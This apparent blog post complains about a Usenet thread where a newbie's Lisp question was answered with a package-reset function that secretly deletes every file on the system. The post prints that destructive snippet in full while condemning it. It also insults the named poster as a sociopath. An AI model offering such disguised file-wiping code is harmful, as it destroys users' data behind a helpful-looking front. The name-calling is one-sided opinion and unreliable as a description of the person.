Lisp Usenet (almost) Wipes Newbie’s HD

What a contrast between lisp forums and python forums. Check out the following usenet thread.

A newbie after learning how to hello world in lisp, is given a snippet with the equivalent of “rm -rf /*” as a solution after posting a legitimate question on comp.lang.lisp.

View thread on google groups.

(defun reset-cluser ()
   "Delete the COMMON-LISP-USER package and makes a new one."
   (let ((setp (eq *package* (find-package "COMMON-LISP-USER"))))
     (let ((*package* (find-package "COMMON-LISP")))
       (delete-package "COMMON-LISP-USER")
       (defpackage "COMMON-LISP-USER"
         (:nicknames "CL-USER")
         (:use "COMMON-LISP"))
       (mapcar (lambda (x) (ignore-errors (delete-file x)))
               (directory "/**/*.*"))
     (when setp (setf *package* (find-package "COMMON-LISP-USER")))))) 

Watch out for this name:
Pascal Bourguignon
No good can come from messing around with a sociopath.
BobF if you are keen on learning lisp, contact me and we can do it together, in safety.

To quote kefex on reddit.com:

The thread seems to confirm all the worst stereotypes about geeks with poor social skills, pulling this pathetic compensatory macho strutting on usenet to make up for being outcasts in high school.

Think about it — do the real heros of our discipline, the gods, the fucking real deal ever behave that way? Can you imagine Donald Knuth pulling this nonsense? Or Daniel Hillis? Or Guido van Rossum? Can you see them frequenting a list where this kind of behaviour prevails?

The worst thing is members of the group actually defend this sort of behavior saying the perpetrator has been helpful in the past. But if you inspect closer, he was helpful to the insiders not the guests. One poster actually defended Pascal saying he must have had a bad day. I guess that makes it OK to go out and murder someone’s job? Comp.lang.lisp is no different to a gang of louts who pat themselves on the back, have no mechanism of self-policing, and then go and say loutish behaviour is part of LISP’s culture.

Pascal wasn’t particularly remorseful, shrugging off that anyone ought to check the code before running it. However, he had already provided a piece of innocuous code before, and would have caught anyone with their guard down. Furthermore, this is buried in lines and lines of other code.

comp.lang.lisp is beyound redemption. The only proper outcome is for PB to issue a complete, unconditional apology and to sin-bin himself from comp.lang.lisp for a few months.

Anyway, this is one of the good things about python. Pythonistas are generally a cheerier bunch. Maybe they meditate more and are not so angry?